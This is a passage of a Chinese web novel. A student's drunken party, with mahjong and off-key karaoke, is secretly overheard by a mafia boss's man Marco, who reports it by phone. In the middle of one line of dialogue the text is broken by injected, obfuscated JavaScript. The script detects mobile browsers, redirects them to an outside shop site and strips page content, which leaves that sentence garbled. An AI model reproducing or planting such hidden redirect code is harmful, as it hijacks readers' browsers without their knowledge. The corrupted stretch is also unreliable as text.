“我外婆说的,黄酒要买瓷瓶的,玻璃瓶的不行。瓷瓶透气,酒在里面还能继续陈化。玻璃瓶的封死了,放多久都是一个味。” 大家一边吃一边喝,黄酒的醇、啤酒的冽、可乐的甜,在杯盏之间交替流转。话题从“小林子做饭真好吃”滑到“下周计量经济学作业做了没”,从“作业做了没”滑到“教授上周讲的那个异方差性到底怎么检验”,从“异方差性”滑到“张凯你上次考试是不是又挂了”,从“张凯挂科”滑到“老陈你上次喝多了抱着马桶唱歌”。 “我没有抱着马桶唱歌!”老陈的脸涨得通红。 “你有,”周姐面无表情地说,“你唱的是《月亮代表我的心》,马桶代表你的心。” 整桌人笑成一锅沸腾的粥。 酒过三巡——不对,可乐过三巡——有人提议打麻将。 老陈从卧室里搬出一张折叠方桌,撑开桌腿,铺上一块绿色的绒布桌布。桌布的绒毛已经被无数次搓麻将磨得有些发亮,四个角的折痕深深地印在绒布上。麻将牌从一个小皮箱里倒出来,哗啦啦地堆在桌布中央,一百四十四张牌,象牙白的底色,红绿黑三色的刻字。牌背是竹青色的,带着细细的纹路,摸上去有一种温润的、被无数双手摸过的光滑感。 “血战到底,”老陈坐下来,双手开始洗牌,牌面在桌布上发出密集的沙沙声,“规矩都懂吧?” “懂。” 血战到底的规矩就是一个人胡牌之后其他人继续打,直到剩下最后一个人或者牌摸完。比普通麻将耗时更长,也更残酷。 第一圈,我胡了刘洋点的一把清一色。第二圈,自摸杠上开花。第三圈,张凯点了我一把对对胡。 “你是不是出老千?”刘洋瞪着我。 “技不如人要认。”我把牌推倒,一条龙,从一万到九万整整齐齐地码在桌布上,像一队等待检阅的士兵。“哼哼,菜就多练,谁让我身体里有四川血统。” “你上次说你外婆是苏州人。” “外婆是苏州人,外公是四川人,不冲突。苏州人负责温婉,四川人负责赢你钱。” 刘洋把手里剩下的牌往桌上一摔,发出一声清脆的哗啦声。“不打了不打了!换人!周姐你来!” 周姐接手之后,我的连胜势头终于被遏制了。她打牌的风格和她写文献综述一样,稳扎稳打,绝不放铳。每一张打出来的牌都经过深思熟虑,宁可自己不胡,也绝不给别人点炮。我和她僵持了将近二十分钟,最后被她一把自摸截胡。 “周姐牛逼。”我由衷地说。 “少来,”她把牌推进牌堆里,“你刚才那把明明可以胡张凯的,故意不胡,想自摸大番数。贪心不足蛇吞象,四川血统也救不了你。” 我讪讪地摸了摸鼻子。 然后有人把客厅的灯调暗了,打开电视机,连上了蓝牙麦克风。老陈家的KTV设备是上届学长留下来的遗产,两个无线麦克风,一个混响器,音箱是书架式的,放在电视机两侧。麦克风的外壳被磕掉了一小块漆,露出里面银灰色的金属,网罩上有一小块凹痕,大概是被谁不小心摔过。 “谁先来?”老陈举着麦克风,环顾四周。 “小林子!”刘洋第一个起哄,“大厨必须唱!不唱不许洗碗!” “我洗碗还不行吗?” “不行!” 我被塞了一个麦克风,然后我翻了翻歌单,停在一首歌上。 前奏响起来的时候,客厅安静了一瞬。然后我的声音从音箱里传出来,第一句就飘了,一种“音符就在前面不远处但我怎么也够不着”的飘。 每一个字我都唱得很用力,但每一个音都不在它应该在的位置上。高音部分我的嗓子像被捏住了脖子,挤出来的声音又细又尖。低音部分又像嗓子里含了一口沙,呼噜呼噜地往下沉。 周姐的表情管理在第一句就崩溃了。 她先是嘴角抽搐,然后咬住下唇,最后实在忍不住,把脸埋进沙发靠垫里,肩膀剧烈地抖动。苏敏捂着嘴,眼睛弯成两道月牙,手指在膝盖上无声地拍着节奏——不是跟着我的节奏,是跟着原唱的节奏。老陈靠在沙发上,仰头看着天花板生无可恋,像在忍受一场酷刑,但他嘴角那个弧度暴露了他其实乐在其中。张凯全程举着手机录像,镜头稳得像是提前架了三脚架,眼睛里闪着“这段视频能笑一年”的光。 但我唱得很认真,而且越唱,音越高,我感觉自己的脸颊发热,大脑混沌得像一碗五颜六色的粥。 客厅里安静了大概两秒钟。然后所有人开始鼓掌,掌声热烈得不像是在鼓励一个走调歌手,反而像是在祝贺一个刑满释放的人。 “小林子,”刘洋擦了擦眼角笑出来的泪,“你这水平,可以报名意大利好声音了。海选第一天就能上电视,上热搜,标题是‘中国留学生唱歌走调到让评委怀疑人生’。” “谢谢,”我把麦克风递给下一个受害者,“这是我的天赋。” 下一个是苏敏,她唱了一首邓丽君的《月亮代表我的心》,声音和她雕的橙子花一样,温温柔柔的,每一个音都稳稳地落在该落的位置。然后张凯唱了一首《因为爱情》,高音部分像一只被门夹了尾巴的猫,但他唱得极其投入,眼睛闭着,眉毛拧在一起,空着的那只手还随着旋律缓缓抬起。周姐唱了一首《遇见》,声音比平时说话低了一个调,带着一点点沙哑,像午后的阳光透过百叶窗洒在地板上。她唱歌的时候,刘洋坐在沙发上安静地看着她,手里的可乐罐都捂热了也没喝一口。 又过了大概一个多小时,麻将声、唱歌声、聊天声混在一起,客厅里热闹得像过年。老陈不知道从哪里摸出一瓶红星二锅头,玻璃瓶,红标签,五十六度。标签边缘有点翘起来了,大概是放了很久。他拧开盖子,往几个一次性杯子里各倒了小半杯,透明的液体在杯底晃了晃,散发出一股浓烈的、带着谷物焦香的酒气。 “来来来,”他把杯子推到我面前,“大厨必须喝一杯。” 我端起杯子,凑近闻了一下。酒精味冲上来,呛得我鼻腔发酸。我犹豫了大概半秒,然后仰头灌了一口。二锅头从喉咙里烧下去,像一条细细的火线,从舌根一直烧到胃里。那股热意从胃部往外扩散,整个胸腔都暖起来,像被一只滚烫的手掌从里面捂住了。 “好辣。”我嘶了一声。 “辣才对,”老陈也灌了一口,眼睛眯成一条缝,“不辣那叫水。” 我又喝了两口。杯子里的酒只剩一个底了,透明的液体在一次性杯壁上挂出一层薄薄的酒泪。我的脸颊开始发热,耳朵也开始发热,像被人用热毛巾敷着。手指尖微微发麻,脚底踩在地板上的触感变得有点模糊。 “小林子,”刘洋忽然凑过来,手里举着一杯可乐,脸上带着那种“我好奇很久了但一直没好意思问”的表情,“你那个新老板,到底是做什么的?” 我的脑子像一台老式电脑,正在缓慢地加载这个问题。屏幕上出现了一个进度条,从零往百分之百慢慢地爬。 进度条卡在了百分之七十,然后我的嘴先于大脑做出了反应。 “卖柠檬和橄榄油的,”我的声音从喉咙里飘出来,飘飘忽忽的,每个字之间的间隔比平时长了一点点,像一首节奏被拉慢了的歌,“西西里特产,柠檬很大,橄榄油很香。出口全欧洲。生意做得挺大的。” “真的假的?”刘洋的表情半信半疑,“能给你开那么高工资?听周姐说还配司机?” “真的,”我非常认真地点头,头点得有点重,脖子上的肌肉反应比平时迟钝了大概零点三秒,“西西里的农业很厉害的。柠檬,这么大。”我用手比了一个大小,比出来的大小大概是柚子的尺寸。“橄榄油,这么香。”我做了一个闻的动作,手抬到鼻子前面的时候指尖差点戳到鼻孔。 刘洋看着我的比划,哈哈哈哈地笑出了声。他的笑声带动了旁边的人,大家都笑了。我以为他们是在笑我比划的大小不对,于是又把手张大了一点,大到大约是一个小西瓜的尺寸。 周姐从旁边伸过手来,把我面前的二锅头杯子拿走了。“行了行了,别让他喝了。小林子酒量本来就不行,上次没喝几杯就脸红。” “我没醉,”我说,声音比平时大了一点,因为我觉得自己的音量控制不太准了,“我还能喝。” “是是是,你没醉,”周姐把杯子放到我够不着的地方,又给我递了一罐可乐,“喝点可乐醒醒酒。” 我接过可乐,拉开拉环,喝了一口。碳酸气泡在舌尖上炸开,冰凉的,甜的,带着磷酸的微酸。我低头看着手里的可乐罐,红色的,白色飘带字体,可口可乐。我盯着那个红色看了几秒钟,然后把它竖起来放在茶几上,用手指轻轻推了一下。罐子晃了晃,没倒。 “小林子,”老陈又坐到麻将桌那边喊过来,“还打不打?现在三缺一!” “打!” - 楼下,马可坐在驾驶座上,耳机塞在耳朵里。 他闭了闭眼。 他执行过无数次监视任务,从巴勒莫的码头到那不勒斯的仓库,从警惕的内鬼到狡猾的线人,没有一次失手。 但那些任务的音频内容,从来不包括一首跑调的歌。 马可摘下耳机揉了揉耳朵,又戴回去。 每一个音都在它应该在的位置,但连起来之后,整首歌的旋律线以一种完全无法预测的方式飘忽不定。这首歌的调子,像一条没有河床的河流,随心所欲地在每一个音符之间蜿蜒。 马可的嘴角动了一下。他把耳机音量调低了两格。 “可是不管怎样也改变不了,我的中国心——” 手机震了。 马可看了一眼屏幕,坐直了身体。 “Boss。” 电话那头传来洛伦佐的声音,一如平时那般平淡, “他在干什么?” “在唱歌,”马可说,“中文歌。” “什么歌?” 马可犹豫了一下。 “一首中文歌,”他艰难地说,“歌名大概是……《我和我的祖国》。” 洛伦佐没有说话。 “他唱歌走调。”马可补充道。 “多走调?” 马可看了一眼耳机线,那条线连着他胸口口袋里的小型接收器,接收器里传来的声音,每一个音都偏离了它应该在的位置,每一个节拍都踩在节与节之间的缝隙里。 “非常走调,”马可感觉自己的太阳穴在跳动,声音里带着一种微妙的、难以描述的情绪,“对我的耳朵是一种折磨。” 洛伦佐没有说话,但马可听到电话那头有一个很轻很短的声响,像是从喉咙里挤出来的气音。 他在笑。 “录下来,继续监听。” “是。” 电话挂了。 过了一段时间,耳机里的音乐停了,取而代之的是一种马可不熟悉的、密集而有节奏的声响。麻将,一种中国游戏,四个人围坐在一张方桌前,把那些刻着图案的小方块推来推去,发出哗啦哗啦的碰撞声。 “碰!”林恩的声音从耳机里传来,带着一种志得意满的雀跃。 “你又碰?”另一个声音哀嚎道,“小林子你今天手气也太好了吧?” “杠,”林恩的声音听上去很得意,“再杠。” “你杠上开花?!”哀嚎的声音变成了惨叫,“你是不是作弊了?” “谁让他身体里还有四川血统,”女声带着笑,“四川人打麻将,那是刻在基因里的。” 洛伦佐的第二通电话打进来的时候,马可正在听一段关于“清一色”和“混一色”的争论。他分不清这两种“色”有什么区别,但从林恩的语气里,他听出了——这小子还在赢。 “现在呢?” 电话又响了。 “他在做什么?”洛伦佐问。 “在打麻将。”马可说。 “那是什么?” “一种中国的游戏,”马可顿了顿,“用很小的方块,上面刻着图案。四个人围坐,轮流摸牌、出牌,林恩似乎赢了不少。” “一种中国游戏,”马可说,目光透过挡风玻璃望向四楼那扇亮着灯的窗户,“用很小的方块,上面刻着图案。四个人围坐,轮流摸牌、出牌。” “他在赢?” “根据对话内容推断,是的。” “他说‘谁让我身上流着四川人的血’。”马可如实转述。 “四川人打麻将厉害?” “根据他这句话的上下文推断,是的。” 洛伦佐沉默了一秒:“赢了多少钱?” “没有钱,”马可说,“他们用花生代替的筹码。” “……花生。” “是的。” 又是一段沉默。 洛伦佐挂了电话。 马可把手机放回口袋,从手套箱里摸出一根烟,但没有点。他把烟夹在指间,转了两圈,又放回去了。 又过了一段时间。 耳机里的声音变了。 起先是正常的对话。有人问“你老板到底是做什么的”,林恩的声音飘忽忽的,像踩在棉花上,说“农业的,种柠檬”。有人问“种柠檬为什么要请财务顾问”,林恩说“因为柠檬也要算账啊,种多少、卖多少、赚多少, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453796|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要算”。 然后话题滑向了别处。 但林恩的声音越来越不对劲,语速变慢了,像磁带被按下了减速播放。咬字开始模糊,有些音节像是含在嘴里没来得及吐出来。偶尔会突然安静几秒,然后又突然冒出一句没头没尾的话。 “我跟你们说,”林恩的声音飘飘忽忽的,像一片被风吹起来的树叶,“我外婆做的年糕,才是真正的好吃。糯米自己磨的,红豆自己煮的,蒸出来之后切片,用油煎到两面金黄,外脆里糯,蘸白糖吃……” “小林子你是不是醉了?”周姐的声音插进来。 “我没醉,”林恩的声音带着一种醉鬼特有的笃定,“我清醒得很,我清醒地知道,我外婆的年糕是全世界最好吃的年糕。” “你已经说了三遍了。”另一个声音说。 “因为很重要,”林恩说,声音突然变得很认真,“重要的事情说三遍。” “小林子你真的醉了!” “我没有!”林恩的声音飘得更远了,“我只是在陈述一个事实。” “你喝了多少?” “两杯?三杯?不记得了……” 有人倒吸了一口凉气。“你后面喝的全是二锅头,五十六度的!” “五十六度?”林恩的声音拔高了一点,然后又降下去,“难怪我有点热。” 马可的手指在方向盘上蜷了一下,他拿起手机,拨了洛伦佐的电话。 “BOSS,”马可的声音压得很低,“他应该醉了。” “醉了?”洛伦佐的声音微微上扬了一点,语调里没有多少惊讶,反而更像是一种“这也在我的预期之内”的确认。 “他喝了酒,中国酒,五十六度。” “……多少?” “五十六度。” 听筒里沉默了很久。 “几杯?” “根据对话内容推断,至少两杯。” “一杯多少?” “不清楚,但从他的声音判断,他的逻辑功能已经混乱了。” 洛伦佐沉默了片刻:“他有没有说什么不该说的?” “有人问他老板是做什么的。” 洛伦佐没有接话。 “他说,”马可顿了顿,“卖柠檬和橄榄油的。” 听筒里传来一个很轻的声音。这一次,马可确认了,那是笑。 “十二点半了,”洛伦佐说,“带他回来。” “是。” “是。”马可挂了电话,推开车门。 他刚迈出一步,还没来得及关上车门,就看到公寓楼的玻璃门被从里面推开了。 林恩走出来了。 不是走,是飘。他的重心在两只脚之间来回游移,每一步落下去的位置都和他大脑预计的位置差了大概五厘米。 左脚预计踩在台阶边缘,实际踩在了台阶平面上;右脚预计踩在平地上,实际踩在了一颗小石子上,脚踝歪了一下,整个人往旁边倾斜了大约十五度,然后又奇迹般地弹回来。 像一个被设定成“直线行走”但传感器出了故障的扫地机器人。 他的左手拎着一个白色的塑料袋,袋子里装着好几个一次性饭盒,摞在一起,用橡皮筋扎着,随着他摇摆的步伐在身侧晃来晃去。 他的另一只手搭在一个男生的肩膀上。那个男生比他高半个头,戴黑框眼镜,小心翼翼地架着他往前走。每走一步,林恩就往旁边歪一下,男生就把他往回拉一下,两个人像一对配合还不熟练的两人三足选手。 马可关上车门,大步走过去。林恩抬起头看到他,眼睛里的光涣散得像碎掉的玻璃珠子,他的嘴角弯着一个得意的弧度,露出两颗虎牙, “马可!”他举起手里的塑料袋晃了晃,饭盒在袋子里互相碰撞发出沉闷的声响,“这个,给你们带的!我做的菜!很好吃!你和老板尝尝!” 他说话的音量比平时大了不少,像怕马可听不见似的,吐字之间带着明显的拖沓和粘连。 马可伸手接过塑料袋。林恩失去了一个支撑物,整个人晃了一下,搭在男生肩膀上的手收紧了一点。 “他喝了多少?”马可问。 戴眼镜的男生露出一个无奈的表情。“三罐啤酒,两杯黄酒,还有两杯半大概……这么高的二锅头。”他用拇指和食指比了一个大约两厘米的高度,“他非要说二锅头兑雪碧好喝。” 马可的嘴角抽了抽。 “好喝的,”林恩插嘴,声音响亮,“特别好喝,你们都应该试试。二锅头的粮食香,雪碧的甜,绝配。” 马可看了他一眼。林恩的脸颊泛着两团不正常的红晕,从颧骨一直蔓延到耳根,嘴唇比平时更显得艳丽。他的眼睛亮晶晶的,酒精让他的眼球表面蒙上了一层薄薄的水光。路灯的光落在那层水光上,碎成一小片一小片金色的星芒。 马可把林恩的胳膊从男生肩膀上接过来,架到自己肩上。林恩的重量压过来,比看上去要沉。他的头歪向一边,靠在了马可的肩膀上,头发蹭着马可的夹克领口。 “马可你的肩膀好硬,”林恩含糊不清地说,脸贴在夹克面料上,声音闷闷的,“像……像那个……计量经济学的教材封面。对,精装版的那种。我每次看到那本书都觉得肩膀疼。” “上车。” 马可拉开车门,把林恩塞进副驾驶。林恩就像一只被放进纸箱的猫,先是在座椅上扭了好几下,试图找到一个舒服的姿势——左肩靠椅背,不对,右肩靠车窗,不对,整个人往下滑了一点,脖子仰靠在头枕上,终于不动了。马可帮他系安全带,金属卡扣插进锁扣里,咔嗒一声。 “安全带系好了,”林恩低头看着胸前那条斜跨的黑色带子,含糊不清的语气,“安全第一。教授说的,做数据分析之前要先备份数据,系安全带就是备份自己。” 马可关上了副驾驶的门,绕到驾驶座,发动了车。 回去的路比来的时候安静,林恩靠在副驾驶座上,脑袋歪向车窗,额头顶着冰凉的玻璃,嘴里断断续续地哼着刚才没唱完的歌。调子依然飘忽不定,但因为声音小了,听起来反而没那么折磨耳朵了。 “……我最亲爱的祖国,你是大海永不干涸……” 然后他突然停了下来。 “马可。” “嗯。” “你听过这首歌吗?” “没有。” “好听吗?” 马可沉默了两秒:“歌词还可以。” “我唱得不好吗?” 马可又沉默了五秒。 “感情很充沛。” 林恩满意地点了点头,额头在车窗玻璃上蹭出一小片雾气。 “对,唱歌最重要的是感情。音准不重要。我外婆说的。她唱歌也走调,但她是我见过唱歌最好听的人。” 他闭上眼,唇角悄悄地弯起。